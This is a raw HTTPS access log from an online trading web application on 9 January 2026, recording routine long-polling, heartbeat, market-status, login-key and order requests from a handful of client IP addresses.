[09/Jan/2026:11:50:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930874821 HTTP/1.1" -
[09/Jan/2026:11:50:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930877805 HTTP/1.1" -
[09/Jan/2026:11:50:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930877838 HTTP/1.1" -
[09/Jan/2026:11:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930879030 HTTP/1.1" -
[09/Jan/2026:11:50:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930879257 HTTP/1.1" -
[09/Jan/2026:11:50:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930879776 HTTP/1.1" -
[09/Jan/2026:11:50:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930879901 HTTP/1.1" -
[09/Jan/2026:11:50:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:50:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930882845 HTTP/1.1" -
[09/Jan/2026:11:50:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930882895 HTTP/1.1" -
[09/Jan/2026:11:50:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930884092 HTTP/1.1" -
[09/Jan/2026:11:50:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930884532 HTTP/1.1" -
[09/Jan/2026:11:50:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930884835 HTTP/1.1" -
[09/Jan/2026:11:50:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930884960 HTTP/1.1" -
[09/Jan/2026:11:50:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:50:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:11:50:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1226
[09/Jan/2026:11:50:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:50:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930887873 HTTP/1.1" -
[09/Jan/2026:11:50:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930887964 HTTP/1.1" -
[09/Jan/2026:11:50:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930889220 HTTP/1.1" -
[09/Jan/2026:11:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930889906 HTTP/1.1" -
[09/Jan/2026:11:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930890043 HTTP/1.1" -
[09/Jan/2026:11:50:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:50:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930889995 HTTP/1.1" -
[09/Jan/2026:11:50:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930892907 HTTP/1.1" -
[09/Jan/2026:11:50:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930893020 HTTP/1.1" -
[09/Jan/2026:11:50:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930894373 HTTP/1.1" -
[09/Jan/2026:11:50:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:11:50:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:11:50:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=E3DA44EB0DFAD598B2D3491156B2806D HTTP/1.1" 1020
[09/Jan/2026:11:50:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930894963 HTTP/1.1" -
[09/Jan/2026:11:50:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:11:50:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930895158 HTTP/1.1" -
[09/Jan/2026:11:50:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930895016 HTTP/1.1" -
[09/Jan/2026:11:50:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:50:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1196
[09/Jan/2026:11:50:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930897950 HTTP/1.1" -
[09/Jan/2026:11:50:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930898086 HTTP/1.1" -
[09/Jan/2026:11:50:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930899495 HTTP/1.1" -
[09/Jan/2026:11:50:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930900037 HTTP/1.1" -
[09/Jan/2026:11:50:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930900379 HTTP/1.1" -
[09/Jan/2026:11:50:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930900063 HTTP/1.1" -
[09/Jan/2026:11:50:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930902987 HTTP/1.1" -
[09/Jan/2026:11:50:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930903151 HTTP/1.1" -
[09/Jan/2026:11:50:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930904676 HTTP/1.1" -
[09/Jan/2026:11:50:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930905107 HTTP/1.1" -
[09/Jan/2026:11:50:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930905638 HTTP/1.1" -
[09/Jan/2026:11:50:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930905134 HTTP/1.1" -
[09/Jan/2026:11:50:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930908008 HTTP/1.1" -
[09/Jan/2026:11:50:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930908222 HTTP/1.1" -
[09/Jan/2026:11:50:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:50:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930909796 HTTP/1.1" -
[09/Jan/2026:11:50:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930910176 HTTP/1.1" -
[09/Jan/2026:11:50:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930910809 HTTP/1.1" -
[09/Jan/2026:11:50:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930910198 HTTP/1.1" -
[09/Jan/2026:11:50:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:50:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930913032 HTTP/1.1" -
[09/Jan/2026:11:50:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930913290 HTTP/1.1" -
[09/Jan/2026:11:50:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930914848 HTTP/1.1" -
[09/Jan/2026:11:50:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930915237 HTTP/1.1" -
[09/Jan/2026:11:50:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930916065 HTTP/1.1" -
[09/Jan/2026:11:50:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:50:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930915260 HTTP/1.1" -
[09/Jan/2026:11:50:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930918076 HTTP/1.1" -
[09/Jan/2026:11:50:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930918349 HTTP/1.1" -
[09/Jan/2026:11:50:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930919986 HTTP/1.1" -
